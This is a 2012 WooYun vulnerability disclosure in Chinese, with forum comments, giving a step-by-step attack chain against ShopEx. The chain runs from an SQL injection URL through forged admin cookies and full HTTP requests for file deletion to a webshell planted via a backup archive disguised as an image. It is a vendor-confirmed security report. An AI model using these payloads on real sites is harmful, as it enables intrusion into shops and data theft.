当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2012-011194

漏洞标题:ShopEx一步一步拿shell

相关厂商:ShopEx

漏洞作者: yy520

提交时间:2012-08-23 00:58

修复时间:2012-10-07 00:59

公开时间:2012-10-07 00:59

漏洞类型:文件上传导致任意代码执行

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2012-08-23: 细节已通知厂商并且等待厂商处理中
2012-08-23: 厂商已经确认,细节仅向厂商公开
2012-08-26: 细节向第三方安全合作伙伴开放
2012-10-17: 细节向核心白帽子及相关领域专家公开
2012-10-27: 细节向普通白帽子公开
2012-11-06: 细节向实习白帽子公开
2012-10-07: 细节向公众公开

简要描述:

昨天刚从官网下载下来,应该是最新版的
整体没什么亮点,纯属刷rank
PS:我擦~ 编辑了三次,能不能添加个保存功能~

详细说明:

0x1 爆路径
http://demo.shopex.com.cn/485/index.php?gOo


额~ 这个表示对我无用
0x2 注入
http://demo.shopex.com.cn/485/?member-120120822173108'/**/and/**/ExtractValue(0x64,concat(0x01,(select/**/@@version)))/**/order/**/by/**/'1-orderdetail.html


得到一个注入点,一般接下来的步骤都是爆密码,解md5,可是我觉得我rp极差,一般都解不出,所以..第三步
0x3 后台cookie设置
登录成功之后会设置3个cookie

setcookie('SHOPEX_LG_KEY',md5(remote_addr().$aResult['op_id']));
setcookie("SHOPEX_LOGIN_NAME",$_POST['usrname'],(time()+86400*10));
setcookie( "SHOPEX_SID", $this->sess_id );
function remote_addr(){
if(!isset($GLOBALS['_REMOTE_ADDR_'])){
$addrs = array();
if(isset($_SERVER['HTTP_X_FORWARDED_FOR'])){
foreach( array_reverse( explode( ',', $_SERVER['HTTP_X_FORWARDED_FOR'] ) ) as $x_f )
{
$x_f = trim($x_f);
if ( preg_match( '/^\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}$/', $x_f ) )
{
$addrs[] = $x_f;
}
}
}
$GLOBALS['_REMOTE_ADDR_'] = isset($addrs[0])?$addrs[0]:$_SERVER['REMOTE_ADDR'];
}
return $GLOBALS['_REMOTE_ADDR_'];
}


我们跑到XXX_op_sessions表 注射出sess_id,跑去XXX_operators表 注射出username和对应的op_id,构造cookie 登录上后台,本来想拿演示网做测试,结果我所在的网络有点奇葩,算了,本地测试成功。。。。
0x4 后台任意文件删除
终于进入后台了,先玩一下
构造

POST /shopex/shopadmin/index.php?ctl=system/comeback&act=removeTgz&_ajax=true&_ss=setting,tools HTTP/1.1
Host: 10.1.1.100
Proxy-Connection: keep-alive
Content-Length: 38
Origin: http://10.1.1.100
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.1 (KHTML, like Gecko) Chrome/21.0.1180.79 Safari/537.1
Content-type: application/x-www-form-urlencoded; charset=UTF-8
Accept: text/javascript, text/html, application/xml, text/xml, */*
Referer: http://10.1.1.100/shopex/shopadmin/index.php
Accept-Encoding: gzip,deflate,sdch
Accept-Language: zh-CN,zh;q=0.8
Accept-Charset: GBK,utf-8;q=0.7,*;q=0.3
Cookie: *********************
tgz[]=multibak_20120822202808.tgz&__=1


把tgz[]换成想删除的文件的相对路径,极其鸡肋,对我来说也是无用
0x5 后台拿shell
本来还是想拿官网演示站 做演示的 结果 相应的功能被禁用了,rp如此之差 完全可以体现出来了
本地测试~~~
先备份个,然后直接下载备份文件,修改压缩文件里面的文件名以及文件内容


最后将压缩文件的后缀修改为jpg 后台直接传图片 获取图片地址
在数据恢复处 恢复数据 截包修改

GET /shopex/shopadmin/index.php?ctl=system/comeback&act=comeback&p[0]=multibak_20120822202808.tgz&p[1]=1345638490&p[2]=2&_ajax=true&_ss=setting,tools HTTP/1.1
Host: 10.1.1.100
Proxy-Connection: keep-alive
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.1 (KHTML, like Gecko) Chrome/21.0.1180.79 Safari/537.1
Accept: text/javascript, text/html, application/xml, text/xml, */*
Referer: http://10.1.1.100/shopex/shopadmin/index.php
Accept-Encoding: gzip,deflate,sdch
Accept-Language: zh-CN,zh;q=0.8
Accept-Charset: GBK,utf-8;q=0.7,*;q=0.3
Cookie: ******************


将p[0]修改为之前上传图片的地址 如:/../../images/default/default_preview_pic.jpg
在拦截到最后一个包的时候不给予通过~ 如果通过之后会把之前的临时文件给删除
最后shell路径:
/home/tmp/md5('/../../images/default/default_preview_pic.jpg')/yy520.php.sql
基本原理和
http://wooyun.org/bugs/wooyun-2012-010431 差不多~ 所以就少截一点图了。

漏洞证明:

前面好像证明过了~~

修复方案:

其实我也不太懂 :)

版权声明:转载请注明来源 yy520@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:20

确认时间:2012-08-23 11:56

厂商回复:

感谢您为shopex安全做的贡献
我们会尽快处理
非常感谢

最新状态:

暂无


漏洞评价:

评论

  1. 2012-08-23 01:20 | Metasploit ( 实习白帽子 | Rank:37 漏洞数:7 | http://www.metasploit.cn/)

    是直接上传拿SHELL?还是要管理员密码啊。。。如果是后台拿SHELL的话就没技术含量了。

  2. 2012-08-23 01:22 | yy520 ( 普通白帽子 | Rank:139 漏洞数:12 )

    @Metasploit 额~ 通过一系列OOXX到后台 再拿shell

  3. 2012-08-23 08:51 | 大和尚 ( 实习白帽子 | Rank:49 漏洞数:5 | www.ieroot.com 积极向上的心态!百折不挠...)

    @yy520 大致透露下是哪一类的漏洞啊

  4. 2012-08-23 09:30 | xsser 认证白帽子 ( 普通白帽子 | Rank:254 漏洞数:18 | 当我又回首一切,这个世界会好吗?)

    @大和尚 一般是文件包含或者注射拿到一些权限 然后再后台的 不知道作者是这样不

  5. 2012-08-23 09:46 | 一刀终情 ( 普通白帽子 | Rank:156 漏洞数:28 | ‮‮PKAV技术宅社区-安全爱好者)

    @xsser 哥,你装了吧;你不是可以看到内容的么~~

  6. 2012-08-23 09:48 | 腰上有胸器 ( 路人 | Rank:11 漏洞数:5 | 一根带刺的黄瓜和一个女人的故事。)

    @Metasploit 肯定是已知漏洞然后一步一步的教大家利用,你混乌云~.~好纠结... 知道我谁不?

  7. 2012-08-23 10:30 | xsser 认证白帽子 ( 普通白帽子 | Rank:254 漏洞数:18 | 当我又回首一切,这个世界会好吗?)

    @一刀终情 预言贴

  8. 2012-08-23 11:45 | yy520 ( 普通白帽子 | Rank:139 漏洞数:12 )

    @大和尚 @xsser 注射拿到类似sesssion的东西进后台,可以直接射出密码,只不过我不想解md5而已,话说ShopEx我觉得很容易找到一堆漏洞,特容易刷rank,为什么都没人找

  9. 2012-08-23 13:24 | 健宇 ( 普通白帽子 | Rank:131 漏洞数:14 | tools kid)

    @yy520 不是没人找,是挖出来了没人报

  10. 2012-08-23 13:29 | 大和尚 ( 实习白帽子 | Rank:49 漏洞数:5 | www.ieroot.com 积极向上的心态!百折不挠...)

    @xsser @yy520 嘿嘿,谢谢解答哦。偶下载个去看看

  11. 2012-08-23 14:36 | 0gucci ( 普通白帽子 | Rank:166 漏洞数:33 | 深度值得深入)

    -_,难道是利用火狐插件直接修改?

  12. 2012-08-23 20:55 | 神刀 ( 路人 | Rank:23 漏洞数:3 | www.shellsec.com内射那么牛,虾米没妹子?)

    等可能菊花吧~

  13. 2012-08-23 23:18 | Metasploit ( 实习白帽子 | Rank:37 漏洞数:7 | http://www.metasploit.cn/)

    @腰上有胸器 小菜不知哦 名字很霸气

  14. 2012-08-26 12:17 | 小痞子 ( 普通白帽子 | Rank:106 漏洞数:21 | <xss>alert("a")</xss>¥&@&……dssKhwjcw...)

    都是大神啊!!!

  15. 2012-09-07 10:44 | 1cefish ( 实习白帽子 | Rank:47 漏洞数:12 | 作为一个到处漂泊了5年的SB 表示黑客无处不...)

    - - 注射的EXP都出来好久了- - 后台拿shell 抓包改包 早晚腻了- -

  16. 2012-09-07 11:26 | Metasploit ( 实习白帽子 | Rank:37 漏洞数:7 | http://www.metasploit.cn/)

    @1cefish 不是一个EXP 这个是outfile

  17. 2012-09-07 19:15 | yy520 ( 普通白帽子 | Rank:139 漏洞数:12 )

    @Metasploit @1cefish 各位大牛~ 求别鄙视了 ,我下次写得低调点总行了把

  18. 2012-09-07 19:21 | xsser 认证白帽子 ( 普通白帽子 | Rank:254 漏洞数:18 | 当我又回首一切,这个世界会好吗?)

    @yy520 = = 这些大牛总是要求很严格

  19. 2012-09-07 23:02 | Metasploit ( 实习白帽子 | Rank:37 漏洞数:7 | http://www.metasploit.cn/)

    @yy520 又要10RANK 求发私信